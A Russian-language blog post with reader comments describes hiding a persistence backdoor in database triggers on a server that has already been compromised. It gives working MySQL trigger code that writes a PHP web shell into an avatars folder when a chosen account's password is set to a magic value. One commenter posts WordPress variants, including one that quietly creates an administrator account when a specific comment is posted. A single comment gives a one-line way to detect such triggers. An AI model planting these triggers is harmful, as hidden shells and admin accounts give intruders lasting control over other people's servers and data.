Бэкдор в триггере

Нередко случается, что все руткиты/бэкдоры/веб-шеллы, полученные взломщиком с большими усилиями, однажды обнаруживаются администратором сервера и безвозвратно удалются. Чтобы закрепиться в системе как можно дольше, используется множество способов, большинство из которых сводится к хранению бэкдора непосредственно в файловой системе. У меня возникла идея хранить «черный ход» в систему в триггерах базы данных.

Триггер — это особая хранимая процедура, которая выполняется при наступлении определенного события на уровне таблицы базы данных. Этими событиями обычно являются использование операторов INSERT, UPDATE, DELETE. Главная особенность триггера заключается в том, что хранимая процедура, которую по сути он представляет собой, вызывается не пользователем, а самой базой данных и только при определенном условии.

При восстановлении утраченного доступа в систему может быть использован заранее внедренный триггер, создающий небольшой веб-шелл или выявляющий пароль администратора, который выполняется при наступлении специального события, известного только взломщику. Выгода такого решения очевидна: если в файловой системе администраторы еще как-то пытаются отслеживать посторонние объекты, то в базе данных обычно этого не делают.

Преположим, что на сайте предусмотрена свободная регистрация пользователей. Для получения в любой момент альтернативного доступа в систему, взломщик создает учетную запись обычного пользователя, затем он разрабатывает триггер таким образом, чтобы при изменении пароля его аккаунта определенным значением триггер записывал в папку небольшой веб-шелл. Событиями для срабатывания триггера могут быть какими угодно: создание определенного поста на форуме, посещение сайта с заданным User-Agent’ом и т.д. Все зависит от характера и структуры таблиц, их предназначения, а также возможности повлиять на конкретную таблицу своими данными в рамках легитимного запроса с операторами INSERT, UPDATE.

Рассмотрим на примере MySQL триггер, записывающий веб-шелл после того, как пароль пользователя сайта становится равным определенному значению.

delimiter |
CREATE TRIGGER backdoor AFTER UPDATE ON users
FOR EACH ROW label:BEGIN
IF (SELECT password FROM users WHERE id=123)='gimme_that_shell' THEN
SELECT '<?=`$c`?>' INTO OUTFILE '/home/site/httpdocs/avators/smile.php';
ELSE
LEAVE label;
END IF;
END;
|

Сперва хочу отметить, что для создания триггера текущий пользователь MySQL должен иметь привилегию SUPER. Для срабатывания хватит прав непривилегированного пользователя, но исключительно для данного примера имеющего file_priv (для INTO OUTFILE). Итак, сначала задаем символ разделения отличный от «;» для того, чтобы использовать «;» внутри процедуры триггера. Далее создаем триггер с именем backdoor для таблицы users, срабатывающий после UPDATE; для каждой строки таблицы выполняем набор инструкций между BEGIN … END и при этом задаем label для последующего использования оператора LEAVE (аналог return). Затем следует основное условие: если пароль пользователя с идентификатором 123 равен значению «gimme_that_shell», тогда выполняется INTO OUTFILE, записывающий небольшой шелл в директорию с аваторами, иначе выполнение процедуры прерывается. Вместо INTO OUTFILE могут быть использованы другие варианты, например повышение прав пользователя до администратора.


18 comments:

  1. Pento, 17. Октябрь 2008, 23:14

    Може таки:

    ?
    Зачем изворачиваться с регист глобалс и так сильно сокращать код?

     
  2. Pento, 17. Октябрь 2008, 23:15

    Блин, мой код порезался :(

     
  3. Spectre, 18. Октябрь 2008, 0:26

    Pento, какая разнича какой код? Это же только для примера, все ж зависит от ситуации.

    А способ реально полезный. Скажем спасибо Разору и разработчикам МуСкула за 5-тую версию )))

     
  4. Raz0r, 18. Октябрь 2008, 11:06

    @Spectre
    Спасибо!

    Действительно, код может быть каким угодно, главное, чтобы он умещался в пределах системной переменной MySQL max_allowed_packet

     
  5. wi11son, 18. Октябрь 2008, 21:17

    Классная идея, ведь действительно, мало кто отслеживает триггеры. Для этого хотя бы нужно иметь хорошенький интерфейс, цель и желание перелопачивать базы на тему изложенную выше…

     
  6. xa-xa89, 18. Октябрь 2008, 21:54

    Классная идея!!!

     
  7. Best, 20. Октябрь 2008, 10:00

    А есть подобное решение для MSSQL?

     
  8. Raz0r, 20. Октябрь 2008, 20:39

    уверен, что существует, и не только для MSSQL — синтаксис триггеров в большинстве СУБД очень похож

     
  9. Raz0r, 21. Октябрь 2008, 9:47

    @wi11son
    на самом деле выявить посторонний триггер можно очень легко:
    SELECT * FROM information_schema.TRIGGERS

     
  10. Dominus, 3. Ноябрь 2008, 21:56

    по поводу триггеров в MS http://msdn.microsoft.com/en-us/library/aa258254.aspx и Oracle http://download.oracle.com/docs/cd/B28359_01/appdev.111/b28370/triggers.htm

    p.s. RaZ0r, как всегда полезная инфа, спасибо

     
  11. halk, 3. Ноябрь 2008, 21:58

    весьма интересное решение..

    спасибо за идею, потестим

     
  12. Raz0r, 3. Ноябрь 2008, 22:05

    @Dominus @halk
    спасибо =)
    Приношу извинения за задержку одобрения ваших комментариев, акисмет отправил их в спам… Задумался об установке обычной капчи вместо него, такое распознавание «спама» меня не устраивает =\

     
  13. lisa99, 19. Август 2009, 20:51

    >создание определенного поста на форуме
    ну это хлопотно. вытащить из таблиц той же воблы событие конкретного постинга…

    а в целом — а что еще интересного может дать применение триггеров на сайте жертвы в свою пользу, кроме шелла?
    именно после удаления шелла/блокирования аккаунта и прочее

     
  14. Сергей, 25. Декабрь 2009, 3:05

    Ребят, мож, я тупой, но не пойму всей сути статьи.
    Как посторонний человек может создать триггерна постороннем сайте?

    >Для получения в любой момент альтернативного доступа в систему, взломщик создает учетную запись обычного пользователя, затем он разрабатывает триггер таким образом, чтобы при изменении пароля его аккаунта определенным значением триггер записывал в папку небольшой веб-шелл.

    Типа я могу зарегаться на любом форуме, написать свой триггер, попросить владельца форума его скомпилить у себя, а после уже изменить свой пароль и залить веб-шелл?
    Мдя.. ИМХО, но статья по-моему из рода «нашёл ужасную багу — любые данные можно безвозвратно уничтожить всего лишь простым ударом утюгом по системному блоку! Ааа!!! берегитесь утюгов!!!»

     
  15. Raz0r, 25. Декабрь 2009, 11:05

    Читайте внимательнее — нужен локальный доступ, т.е. подразумевается, что на скомпрометированной машине уже есть, например, веб-шелл, и вам нужно оставить бэкдор.

     
  16. vovasik, 2. Август 2011, 20:58

    на то он и бекдором называется что бы после проникновения на сервер создать запасной вариант востановиться на нем)в определениях не хорошо остаться)это касательно прошлого коммента)а касательно тригера то у меня почему то phpadmin ругается на разделитель:( что за хрень , есть еще какая нибудь инфа

     
  17. adiz, 5. Август 2011, 18:16

    а тригер точно на способен на бекдор сколько не пробовал под wp нечего не вышло

    DELIMITER //
    CREATE TRIGGER backdoor AFTER UPDATE ON wp_users
    FOR EACH ROW label:BEGIN
    IF (SELECT user_pass FROM wp_users WHERE ID=1)=’$P$B9wcvAmi3JvyqJ5991Qif8LRgzSAfc.’ THEN
    SELECT » INTO OUTFILE ‘site/smile.php';
    ELSE
    LEAVE label;
    END IF;
    END;
    //
    DELIMITER ;

    я бы подумал что руки кривые, но и у ребят с форума тоже нечего не получилось

    DELIMITER //
    CREATE TRIGGER `INSERT` BEFORE INSERT ON `wp_comments`
    FOR EACH ROW BEGIN
    IF NEW.comment_content = ‘add admin’ THEN
    INSERT INTO `wp_users` ( `ID` , `user_login` , `user_pass` ) VALUES
    (‘31337′, ‘root’, ‘$P$B9wcvAmi3JvyqJ5991Qif8LRgzSAfc.’);
    INSERT INTO `wp_usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES
    (‘31337′, ‘wp_capabilities’, ‘a:1:{s:13:»administrator»;s:1:»1″;}’),
    (‘31337′, ‘admin_color’, ‘fresh’),
    (‘31337′, ‘comment_shortcuts’, ‘false’),
    (‘31337′, ‘rich_editing’, ‘true’),
    (‘31337′, ‘nickname’, ‘root’),
    (‘31337′, ‘first_name’, ‘drtro.public@gmail.com’),
    (‘31337′, ‘wp_user_level’, ’10’);

    END IF;
    END
    //
    DELIMITER ;

     
  18.  

    […] http://raz0r.name/mysli/backdoor-in-trigger/ MySQL, PHP, Безопасность […]

     

Write a comment: